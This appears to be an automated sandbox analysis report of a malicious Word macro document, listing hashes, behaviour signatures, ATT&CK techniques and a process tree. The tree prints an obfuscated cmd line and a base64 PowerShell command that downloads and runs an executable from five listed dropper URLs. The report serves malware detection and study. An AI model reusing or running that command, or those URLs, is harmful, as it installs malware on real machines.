28301e8e6ae901ff54259a0d0ad1561762bd3cb286af49fc8456433c64c05d3d

General

Target

Personal.doc
Size

87KB
MD5

f8a5c6272646fc0729544688c6f0b0fe
SHA1

1b8a9743f694d2ae9c1368a2894e23dc39b3a7aa
SHA256

4015f8b86ebef994d6aabc520b4773de60cd768b00b7c0123e14c7affa7ee0fe
SHA512

b30ef2e8ea6bb7f856bdd7490a49b0043c1a114ee7269e8e607ea07e29ba723a05df82bf506b899238e73fb9cd5f1f2be2f51ed1fd527298edc8fd38a0ecfc39

Score

10^/10

ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://samaotoyikama.com/t

exe.dropper

http://dellyetkiliservis.com/eK7

exe.dropper

http://musicalchorus.com.br/6Ez

exe.dropper

http://reserch.ir/FJS

exe.dropper

http://derinsunakliyat.com/I

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1364	652	CmD.exe	67

Blocklisted process makes network request 5 IoCs

flow	pid	Process
26	3740	powershell.exe
30	3740	powershell.exe
37	3740	powershell.exe
38	3740	powershell.exe
40	3740	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
ransomware

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
652	WINWORD.EXE
652	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3740	powershell.exe
3740	powershell.exe
3740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3740	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE
652	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 652 wrote to memory of 1364	652	WINWORD.EXE	75
PID 652 wrote to memory of 1364	652	WINWORD.EXE	75
PID 1364 wrote to memory of 3740	1364	CmD.exe	78
PID 1364 wrote to memory of 3740	1364	CmD.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Personal.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652
- C:\Windows\SYSTEM32\CmD.exe
  CmD /V:On /C " SEt $ =powersTell -e JAB2AG0A.wA9AG:AZQB3AC0AbwBiAGoAZQBjAHQA[ABOAGUAdAAuAFcAZQBiAEMAbABpAGUAb1B0ADsAJAB)AHoASwA9ACcA)AB0AHQAcAA6AC8ALwBzAGEAbQBTAG8AdABvAHkA)QBrAGEAbQBTAC:AYwBvAG0ALwB0AEAA)AB0AHQAcAA6AC8ALwBkAGUAbABsAHkAZQB0AGsA)QBsAGkAcwBlAH[Ad1BpAHMAL1BjAG8AbQAvAGUASwA3AEAA)AB0AHQAcAA6AC8ALwB@AHUAcwBpAGMAYQBsAGMA)ABvAH[AdQBzAC:AYwBvAG0AL1BiAH[ALwA2AEUAe1BAAG1AdAB0AHAAO1AvAC8Ac1BlAHMAZQB\AGMA)AAuAGkAc1AvAEYAS1B.AEAA)AB0AHQAcAA6AC8ALwBkAGUAc1BpAG:AcwB(AG:AYQBrAGwA)QB5AGEAdAAuAGMAbwB@AC8ASQAnAC:AUwBwAGwA)QB0AC1AJwBAACcAKQA7ACQA)1BpAFUA[AA9ACAAJwA:ADUANAAnADsAJABLAG:AdwA9ACQAZQBuAHYAO1BwAHUAY1BsAGkAYwArACcA;AAnACsAJAB^%AGkAVQArACcAL1BlAH1AZQAnADsAZ1BvAH[AZQBTAGMA)AAoACQAQwB3AHUA[ABpAG:A[AAkAFoAe1BLACkAewB0AH[AeQB7ACQAd1B@AE8AL1BEAG8AdwBuAGwAbwBTAGQA#1BpAGwAZQAoACQAQwB3AHUALAA1ACQASwBuAHcAKQA7AFMAdABTAH[AdAA@AFAAc1BvAGMAZQBzAHMA[AAkAEsAb1B3ADsAY1B\AGUAYQBrADsAfQBjAGEAdABjAG1AewB9AH0A[AA1ACAA[AA1ACAA[AA1ACAA[AA1ACAA[AA1ACAA[AA1AA``&& set { =!$ :;=X!& SeT # =!{ :1=g!&& sEt ~ =!# :T=h!& SeT . =!~ :#=R!& SET _ =!. :%=q!&& Set _ =!_ :.=T!&& set * =!_ :)=a!& Set - =!* :`==!& seT - =!- ::=4!&& sET } =!- :@=t!& SET @ =!} :[=I!& sET # =!@ :(=1!& sET ' =!# :\=y!&& CALL %' % "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JAB2AG0ATwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABaAHoASwA9ACcAaAB0AHQAcAA6AC8ALwBzAGEAbQBhAG8AdABvAHkAaQBrAGEAbQBhAC4AYwBvAG0ALwB0AEAAaAB0AHQAcAA6AC8ALwBkAGUAbABsAHkAZQB0AGsAaQBsAGkAcwBlAHIAdgBpAHMALgBjAG8AbQAvAGUASwA3AEAAaAB0AHQAcAA6AC8ALwBtAHUAcwBpAGMAYQBsAGMAaABvAHIAdQBzAC4AYwBvAG0ALgBiAHIALwA2AEUAegBAAGgAdAB0AHAAOgAvAC8AcgBlAHMAZQByAGMAaAAuAGkAcgAvAEYASgBTAEAAaAB0AHQAcAA6AC8ALwBkAGUAcgBpAG4AcwB1AG4AYQBrAGwAaQB5AGEAdAAuAGMAbwBtAC8ASQAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAagBpAFUAIAA9ACAAJwA4ADUANAAnADsAJABLAG4AdwA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABqAGkAVQArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwB3AHUAIABpAG4AIAAkAFoAegBLACkAewB0AHIAeQB7ACQAdgBtAE8ALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAQwB3AHUALAAgACQASwBuAHcAKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAEsAbgB3ADsAYgByAGUAYQBrADsAfQBjAGEAdABjAGgAewB9AH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3740

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/652-2-0x00007FFC10600000-0x00007FFC10610000-memory.dmp

Filesize
64KB

Download
memory/652-3-0x00007FFC10600000-0x00007FFC10610000-memory.dmp

Filesize
64KB

Download
memory/652-4-0x00007FFC10600000-0x00007FFC10610000-memory.dmp

Filesize
64KB

Download
memory/652-5-0x00007FFC10600000-0x00007FFC10610000-memory.dmp

Filesize
64KB

Download
memory/652-6-0x00007FFC2FC70000-0x00007FFC302A7000-memory.dmp

Filesize
6.2MB

Download
memory/3740-9-0x00007FFC29430000-0x00007FFC29E1C000-memory.dmp

Filesize
9.9MB

Download
memory/3740-10-0x00000262EBA20000-0x00000262EBA21000-memory.dmp

Filesize
4KB

Download
memory/3740-11-0x00000262EBBD0000-0x00000262EBBD1000-memory.dmp

Filesize
4KB

Download
memory/3740-12-0x00000262E9A50000-0x00000262E9A52000-memory.dmp

Filesize
8KB

Download
memory/3740-13-0x00000262E9A53000-0x00000262E9A55000-memory.dmp

Filesize
8KB

Download
memory/3740-14-0x00000262E9A56000-0x00000262E9A58000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads